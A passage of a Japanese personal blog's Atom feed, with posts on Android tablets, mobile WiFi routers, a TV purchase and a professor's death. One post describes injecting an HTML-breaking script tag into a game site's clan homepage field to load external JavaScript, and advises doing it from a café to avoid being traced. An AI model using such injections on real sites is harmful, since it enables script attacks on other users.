TABより動作快適。PANTECH今後期待ですな。&lt;/p&gt; &lt;p&gt;そろそろガチでAndroid2.2でキーボード付SnapDragon1GHz搭載の端末をお願いしますよ。ようするにGALAPAGOS 005SHなんだけどね。Docomoに出してくれよ・・・。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;そして本題。&lt;/p&gt; &lt;p&gt;タブレットを所持してみて、使い勝手は良好。サイズは大きすぎず小さくない7インチがベストですね。今後では「Dell Streak7」や、「Eee Pad MeMo」がよさそう。&lt;/p&gt; &lt;p&gt;そしてタブレットならやはりどこでもインターネットができると便利。&lt;/p&gt; &lt;p&gt;携帯電話ではテザリング可能なものとそうでないものがある上、できてもBluetooth PANのみの場合もある。&lt;/p&gt; &lt;p&gt;そこで使えるのがモバイルWiFiルーター。&lt;/p&gt; &lt;p&gt;E-MobileやDocomoがこのサービスを行っていて、価格はDocomoが1000円～5980円。&lt;/p&gt; &lt;p&gt;要するにスマートフォンはWiFiを使えるのでネットワーク通信をモバイルWiFiルーターにすることで携帯電話だけじゃなく、タブレットPCやPSPなどでもどこでもインターネットが使えるようになる。&lt;/p&gt; &lt;p&gt;その上、Docomoの安定しているネットワーク回線を別のキャリアのスマートフォンでも利用できる。&lt;/p&gt; &lt;p&gt;LTE対応のモバイルWiFiルーターがでたら契約変更しようかな・・・。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まぁ自分の中ではLTE対応のGALAPAGOS 005SHみたいなものが出て、それをRoot化してWiFiルーター化できればベストだと思うんですけどね。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-7182746769154171048?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/7182746769154171048/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=7182746769154171048&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7182746769154171048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7182746769154171048'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/01/blog-post.html' title='最良の回線と端末の組み合わせ'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1159833379583871049</id><published>2011-01-24T02:47:00.001+09:00</published><updated>2011-01-24T13:23:34.869+09:00</updated><title type='text'>Android Tablet</title><content type='html'>&lt;p&gt;先週届いたAndroidタブレット「Archos 70 Internet Tablet」を一週間使ってみての感想。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Androidを初めて使い込むことになったが、まず海外製品なのにCKJフォント（中国、韓国、日本の文字を統合したフォントなのでたまに文字がおかしいのが気に食わないが）でいきなり日本語が使えることに感動。&lt;/p&gt; &lt;p&gt;基本UIの使い方を弄繰り回して把握。&lt;/p&gt; &lt;p&gt;Google Accountとの同期もできるようだ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、ここからは端末について。&lt;/p&gt; &lt;p&gt;価格は3.8万円。安いところで買えば3万ぐらいで買えるかも。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;スペック&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Display : 7inch 800*480&lt;br&gt;OS ; Android 2.1 （2.2へのアップデート可能）&lt;br&gt;CPU : ARM Cortex A8 1GHz , 3D OpenGL ES 2.0&lt;br&gt;Memory : 256MByte&lt;br&gt;Strage : 8GByte&lt;br&gt;Comm : WiFi , Bluetooth 2.1 EDR&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;このスペックから見る限り「安かろう悪かろう」な端末に見えると思う。&lt;/p&gt; &lt;p&gt;実際使ってみるとひどく使わない限りは何の問題もなく使える端末だった。&lt;/p&gt; &lt;p&gt;ただ、メリットもあるが問題点も多々ある。先に問題点から挙げてみると&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;・Android Marketがインストールされていない。&lt;br&gt;・GPS非搭載。&lt;br&gt;・メモリが少ない。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Archos製品はGoogleのライセンスを取得していないため、MarketやGoogleのアプリはインストールされていない。&lt;/p&gt; &lt;p&gt;なので公式にはFlashページ閲覧やGoogleのアプリケーションを入れることはできない。&lt;/p&gt; &lt;p&gt;しかし「gApps4Archos」「ArcTools」をインストールすることで利用可能になる。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、デメリットばっかり書いているとネガティブキャンペーンに見えてしまうのでそろそろ前向きなことも書いていこう。&lt;/p&gt; &lt;p&gt;メリット&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;・Bluetooth PANが利用できる。&lt;br&gt;・3Dグラフィクスアクセラレータがついている。&lt;br&gt;・フロントにウェブカメラがついている。&lt;br&gt;・HDMIがついている。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;自分の中では最重要であった「Bluetooth PAN」の件。&lt;/p&gt; &lt;p&gt;調べが足りなかったのかBluetooth PANが利用できるのはこの端末しか見当たらなかった。&lt;/p&gt; &lt;p&gt;自分が使ってる携帯電話「T-01B」がWiFiルーター化できなかったのでこれ以外の選択肢がなかったのがこの商品を買った最大の理由。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;3Dグラフィクスアクセラレーターの性能はどう測定すればいいかわからないのでベンチマークソフト「Quadrant Standard Edition」を動作させた結果を張り付けておく。&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TTxpt2RfBqI/AAAAAAAAAMw/cowXMxGKhwE/s1600-h/PH_64%5B5%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PH_64" border="0" alt="PH_64" src="http://lh4.ggpht.com/_toMCQOU2NRI/TTxpumdhn3I/AAAAAAAAAM0/vd_-bRJua50/PH_64_thumb%5B3%5D.jpg?imgmax=800" width="480" height="640"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;本当にこの性能なのかは疑わしいところ。けどもベンチマークソフトの3D動画はそれなりに滑らかに動いていた。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、背面にカメラはついていないのだがフロントにVGAの解像度で撮影できるカメラが搭載されていて「Fring」を使って映像通話ができるようになっている。&lt;/p&gt; &lt;p&gt;が会議通話ができないので「Skype」を使っている。機会があればFringも試してみたい。&lt;/p&gt; &lt;p&gt;SkypeはAndroid Marketで検索してもヒットしなかったのでGalaxy Tabを使っている友達から最新版のパッケージをダウンロードしてもらいインストールした。&lt;/p&gt; &lt;p&gt;スピーカーから音をだしながら通話しても普通に通話できるようだが、相手の声を相手に返してしまっているようだ。イヤホン必須。&lt;/p&gt; &lt;p&gt;車に積んで車内スピーカーで通話するのは問題なくできたのでマイクの集音性にも問題は無し。&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TTz-v9Wzf9I/AAAAAAAAANA/L4a2XVVNwEE/s1600-h/PH_66%5B4%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="PH_66" border="0" alt="PH_66" src="http://lh4.ggpht.com/_toMCQOU2NRI/TTz-wjYhLgI/AAAAAAAAANE/iz5TuywAGT8/PH_66_thumb%5B2%5D.jpg?imgmax=800" width="480" height="360"&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、Bluetooth GPSロガー買ってAndroid Navigatorにしますかね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;動作に関しては以下の動画をご覧ください。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:f9020a7e-c212-4713-99ea-c0a962efc998" class="wlWriterEditableSmartContent"&gt;&lt;div id="c3f08c04-42cd-49d4-9014-756c13f9219f" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=0XtmjySJXsY" target="_new"&gt;&lt;img src="http://lh3.ggpht.com/_toMCQOU2NRI/TTxpvF3Oz7I/AAAAAAAAANI/YlSqh07wNeU/videoa6eaa064f8e5%5B2%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('c3f08c04-42cd-49d4-9014-756c13f9219f'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/0XtmjySJXsY&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/0XtmjySJXsY&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:50434b3f-e9f4-4a4c-8be6-b481988c7630" class="wlWriterEditableSmartContent"&gt;&lt;div id="f2e3c649-c4b6-48a2-a373-c8d198923bf5" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=FK3ovYyh-34" target="_new"&gt;&lt;img src="http://lh5.ggpht.com/_toMCQOU2NRI/TTxpvlwqTwI/AAAAAAAAANM/WLRe1Lm4BfU/video875b734f25ea%5B2%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('f2e3c649-c4b6-48a2-a373-c8d198923bf5'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/FK3ovYyh-34&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/FK3ovYyh-34&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1159833379583871049?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1159833379583871049/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1159833379583871049&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1159833379583871049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1159833379583871049'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/01/android-tablet.html' title='Android Tablet'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_toMCQOU2NRI/TTxpumdhn3I/AAAAAAAAAM0/vd_-bRJua50/s72-c/PH_64_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8434334372549141448</id><published>2011-01-07T09:15:00.001+09:00</published><updated>2011-01-07T09:15:36.398+09:00</updated><title type='text'>A.V.A.の公式クランページを自由にカスタマイズ</title><content type='html'>&lt;p&gt;必要なもの&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;・レンタルサーバーのID（FC2など）&lt;/p&gt; &lt;p&gt;・HTMLとJavaScriptの知識&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これだけあれば十分です。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;作りたいページのソースが出力されるようにJavascriptのdocument.write()などをつかって外部JSファイルを作り、レンタルサーバーのアップロードしておく。&lt;/p&gt; &lt;p&gt;またそのURLをBit.lyなどで短縮URLを作成しておくと便利。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;クランページのクランホームページの欄に&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;○&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;script src=”□”&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt; &lt;p&gt;○＝クランページのクランHPのURLやそこに表示させたい文字&lt;/p&gt; &lt;p&gt;□＝先ほどアップロードしたJSファイルのURL&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;と記述する。&lt;/p&gt; &lt;p&gt;JSファイルの内容が&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;document.write(“&amp;lt;div&amp;gt;ばーか&amp;lt;div&amp;gt;”);&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;だったらAVAのクランページのメンバーリストとクラン情報の間に「ばーか」と表示されるはず。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;おまけ&lt;/p&gt; &lt;p&gt;クランページのクランHPの欄ではスクリプトファイルを一つしか読み込めないが、そこで読み込んでいるJSファイルに&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;document.write(“&amp;lt;script src=’△’&amp;gt;&amp;lt;\/script&amp;gt;”);&lt;/p&gt; &lt;p&gt;△＝JSファイルのURL&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これを追記することでIncludeと同じ働きを実現できそう。&lt;/p&gt; &lt;p&gt;やってることがグレーゾーンなのでやるならマクドナルドかネカフェでどうぞ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;現在の自分のAVAのクランページ:&lt;a title="http://ava.gamechu.jp/clans/18385" href="http://ava.gamechu.jp/clans/18385"&gt;http://ava.gamechu.jp/clans/18385&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8434334372549141448?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8434334372549141448/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8434334372549141448&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8434334372549141448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8434334372549141448'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/01/ava.html' title='A.V.A.の公式クランページを自由にカスタマイズ'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-64728245220400783</id><published>2010-12-21T06:08:00.001+09:00</published><updated>2010-12-21T06:10:57.539+09:00</updated><title type='text'>お世話になりました。</title><content type='html'>&lt;p&gt;先日、自分を研究室に誘っていただいた教授が亡くなった。&lt;/p&gt; &lt;p&gt;理由、お通夜、葬儀の日程などは学生の自分にはもちろん伝えられなかった。&lt;/p&gt; &lt;p&gt;感謝の意を伝えることもできず一方的に別れを告げられるなんて思ってもいなかった。少しの間でも教授の下で学べたことに感謝しています。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;最後にあった日、「自分はこの先長くない。」と口にしてはいたがその意味を軽い意味で受け止め、浮かれたようにこの先の研究の事ばかりを考えていた自分が情けない。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;どうして俺はここまで馬鹿なんだろう・・・。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-64728245220400783?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/64728245220400783/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=64728245220400783&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/64728245220400783'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/64728245220400783'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/12/blog-post.html' title='お世話になりました。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6623333524645624059</id><published>2010-12-12T23:39:00.001+09:00</published><updated>2010-12-13T02:02:14.825+09:00</updated><title type='text'>Uniden 42V型テレビ</title><content type='html'>&lt;p&gt;最近、UnidenのTL42DZ1-B6万円でが売られていたので半衝動的に注文していたのがやっと届きました。&lt;/p&gt; &lt;p&gt;もともと、37インチがほしかったのですが、FullHD対応のディスプレイでとなると37インチの最安値は8万円。&lt;/p&gt; &lt;p&gt;32インチは7万円。40インチも同様に7万円。&lt;/p&gt; &lt;p&gt;そしてこの安売りしていた42インチが6万円。&lt;/p&gt; &lt;p&gt;というわけで流されたようにも思いましたがこれを購入することに。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;部屋の状態がこんな感じに。&lt;/p&gt; &lt;p&gt;比較用にディスプレイの前にマウスを置いておきました。&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_toMCQOU2NRI/TQTejiYA_-I/AAAAAAAAAMg/9Krjt6v03MA/s1600-h/PH_42%5B6%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PH_42" border="0" alt="PH_42" src="http://lh3.ggpht.com/_toMCQOU2NRI/TQTekFvS9BI/AAAAAAAAAMo/0I0NjC5dTSs/PH_42_thumb%5B4%5D.jpg?imgmax=800" width="500" height="375"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;実際に設置してみると予想以上にデカい。←当たり前&lt;/p&gt; &lt;p&gt;&amp;nbsp; &lt;/p&gt; &lt;p&gt;テレビとしては普通に見れるし問題ないかな。色は調整すればそれなりにいい色になるし。&lt;/p&gt; &lt;p&gt;二人で画面分割でHalo3 ODSTをやってみたけど普通にできる。&lt;/p&gt; &lt;p&gt;地味に音質も良い。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;問題なところはPCモニタとしてFullHDを利用するには少々細かい設定が必要。&lt;/p&gt; &lt;p&gt;端子にD-sub15やDVI、D端子がない。&lt;/p&gt; &lt;p&gt;前者の問題については利用者が少なそうだから詳細は書かない。&lt;/p&gt; &lt;p&gt;端子の方はディスプレイの背面にあるのはコンポジット*2（片方はS端子もいける）、コンポーネント*2、HDMI*2の6個。&lt;/p&gt; &lt;p&gt;XBOX360はD端子の奴しか持ってないからコンポーネントのやつを買おうかな。&lt;/p&gt; &lt;p&gt;これだけ画面がでかいとゲーセンのシューティングもできるなー。ほしくなる。&lt;/p&gt; &lt;p&gt;あ、Logicool MX Airも。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6623333524645624059?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6623333524645624059/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6623333524645624059&amp;isPopup=true' title='2 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6623333524645624059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6623333524645624059'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/12/uniden-42v.html' title='Uniden 42V型テレビ'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_toMCQOU2NRI/TQTekFvS9BI/AAAAAAAAAMo/0I0NjC5dTSs/s72-c/PH_42_thumb%5B4%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-7475305267627720607</id><published>2010-12-07T01:00:00.001+09:00</published><updated>2010-12-07T01:00:30.814+09:00</updated><title type='text'>Skype for Android</title><content type='html'>&lt;p&gt;日本ではIS03やその他auのAndroid端末でしかSkypeはできないと思っていましたがふと探してみるとインストーラーが見つかりました。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;検索ワード : Skype.apk&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;とりあえず友達のGalaxy Sで試したところ普通に使えるみたいです。&lt;/p&gt; &lt;p&gt;教授からXperia借りてそれでも試してみたいものですなぁ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;これで俺もAndroidに移行する準備はできたかな。あとはいい端末が出るのを待つだけ。&lt;/p&gt; &lt;p&gt;もうたぶん海外の端末を輸入して使うと思う。今噂されているHTC Evo Shift 4Gあたりがねらい目かな。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-7475305267627720607?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/7475305267627720607/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=7475305267627720607&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7475305267627720607'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7475305267627720607'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/12/skype-for-android.html' title='Skype for Android'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4629208595991824249</id><published>2010-11-28T02:59:00.001+09:00</published><updated>2010-11-28T02:59:59.175+09:00</updated><title type='text'>無料会議映像通話</title><content type='html'>&lt;p&gt;&lt;a href="http://axe1lyze.dip.jp/conference.php"&gt;http://axe1lyze.dip.jp/conference.php&lt;/a&gt;&lt;/p&gt; &lt;p&gt;１日で完成しました。Stickamのブログパーツを使わせていただきました。&lt;/p&gt; &lt;p&gt;使い方がわからない方はTwitterかメールかSkypeでどうぞ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4629208595991824249?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4629208595991824249/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4629208595991824249&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4629208595991824249'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4629208595991824249'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/11/blog-post.html' title='無料会議映像通話'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-2589029987564077120</id><published>2010-11-21T01:33:00.001+09:00</published><updated>2010-11-21T01:33:59.691+09:00</updated><title type='text'>Windows MobileのRemote Desktop MobileでDirectX</title><content type='html'>&lt;p&gt;Windows Vista以上だとリモートデスクトップにDirect3Dの機能がついているようだ。&lt;/p&gt; &lt;p&gt;しかし当然、Windows Mobileにはついていない。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;これを一応解決する方法がある。&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt;で仮想PCを立ち上げ、その上でDirectXを利用したアプリケーションを動作させるという方法だ。&lt;/p&gt; &lt;p&gt;かなり高性能なPCが必要だがこの方法だと一応動作させることができる。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;結局のところ、リモートデスクトップでの映像転送は無線LANでもカクカクため実現は厳しいかもしれない。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-2589029987564077120?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/2589029987564077120/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=2589029987564077120&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2589029987564077120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2589029987564077120'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/11/windows-mobileremote-desktop.html' title='Windows MobileのRemote Desktop MobileでDirectX'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 